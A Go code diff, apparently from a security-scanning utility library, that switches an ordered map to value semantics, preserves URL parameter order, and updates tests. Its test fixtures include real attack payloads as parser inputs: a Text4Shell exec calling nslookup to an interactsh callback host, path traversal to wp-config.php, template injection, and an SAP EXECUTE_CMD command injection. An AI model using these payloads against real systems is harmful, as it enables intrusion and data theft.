diff --git a/maps/ordered_map.go b/maps/ordered_map.go index e5ca1a9..4ae5700 100644 --- a/maps/ordered_map.go +++ b/maps/ordered_map.go @@ -49,8 +49,8 @@ func (o *OrderedMap[k, v]) IsEmpty() bool { } // Clone returns clone of OrderedMap -func (o *OrderedMap[k, v]) Clone() *OrderedMap[k, v] { - return &OrderedMap[k, v]{ +func (o *OrderedMap[k, v]) Clone() OrderedMap[k, v] { + return OrderedMap[k, v]{ keys: sliceutil.Clone(o.keys), m: maps.Clone(o.m), } @@ -83,8 +83,8 @@ func (o *OrderedMap[k, v]) Len() int { } // NewOrderedMap creates a new OrderedMap -func NewOrderedMap[k comparable, v any]() *OrderedMap[k, v] { - return &OrderedMap[k, v]{ +func NewOrderedMap[k comparable, v any]() OrderedMap[k, v] { + return OrderedMap[k, v]{ keys: []k{}, m: map[k]v{}, } diff --git a/url/merge_test.go b/url/merge_test.go index dda8bfd..8758a3e 100644 --- a/url/merge_test.go +++ b/url/merge_test.go @@ -73,8 +73,8 @@ func TestMergeWithParams(t *testing.T) { {"http://scanme.sh/?admin=true", "/%20test%0a", "http://scanme.sh/%20test%0a?admin=true"}, {"https://scanme.sh?admin=true", "/%20test%0a", "https://scanme.sh/%20test%0a?admin=true"}, {"scanme.sh", "/path", "scanme.sh/path"}, - {"scanme.sh?wp=false", "/path?yes=true&admin=false", "scanme.sh/path?admin=false&wp=false&yes=true"}, - {"https://scanme.sh", "?user=true&pass=yes", "https://scanme.sh?pass=yes&user=true"}, + {"scanme.sh?wp=false", "/path?yes=true&admin=false", "scanme.sh/path?wp=false&yes=true&admin=false"}, + {"https://scanme.sh", "?user=true&pass=yes", "https://scanme.sh?user=true&pass=yes"}, {"scanme.sh", "favicon.ico", "scanme.sh/favicon.ico"}, } for _, v := range testcase { @@ -112,7 +112,7 @@ func TestParameterParsing(t *testing.T) { }{ {"/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d", "search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d"}, {"/filedownload.php?ebookdownloadurl=../../../wp-config.php", "ebookdownloadurl=../../../wp-config.php"}, - {"/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test", "client_id=acme&redirect_uri=http://test&response_type=${13337*73331}&scope=openid"}, + {"/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test", "response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"}, } for _, v := range testcases { rurl, err := ParseURL(v.URL, false) diff --git a/url/orderedparams.go b/url/orderedparams.go index cfd6a02..7a38e5c 100644 --- a/url/orderedparams.go +++ b/url/orderedparams.go @@ -12,7 +12,7 @@ import ( // OrderedParams is a map that preserves the order of elements type OrderedParams struct { - om *mapsutil.OrderedMap[string, []string] + om mapsutil.OrderedMap[string, []string] } // NewOrderedParams creates a new ordered params @@ -90,7 +90,7 @@ func (o *OrderedParams) Encode() string { // Decode is opposite of Encode() where ("bar=baz&foo=quux") is parsed // Parameters are loosely parsed to allow any scenario func (o *OrderedParams) Decode(raw string) { - if o.om == nil { + if o.om.Len() == 0 { o.om = mapsutil.NewOrderedMap[string, []string]() } arr := []string{} diff --git a/url/rawparam_test.go b/url/rawparam_test.go index 725ec3b..dc4a498 100644 --- a/url/rawparam_test.go +++ b/url/rawparam_test.go @@ -104,16 +104,16 @@ func TestURLEncode(t *testing.T) { func TestURLDecode(t *testing.T) { testcases := []struct { url string - Expected Params + Expected string }{ { "/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=tasklist", - Params{"param": []string{"com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=tasklist"}}, + "param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=tasklist", }, } for _, v := range testcases { parsed, err := Parse(v.url) require.Nilf(t, err, "failed to parse url %v", v.url) - require.Equalf(t, v.Expected, parsed.Query(), "failed to decode params in url %v expected %v got %v", v.url, v.Expected, parsed.Query()) + require.Equalf(t, v.Expected, parsed.Query().Encode(), "failed to decode params in url %v expected %v got %v", v.url, v.Expected, parsed.Query()) } }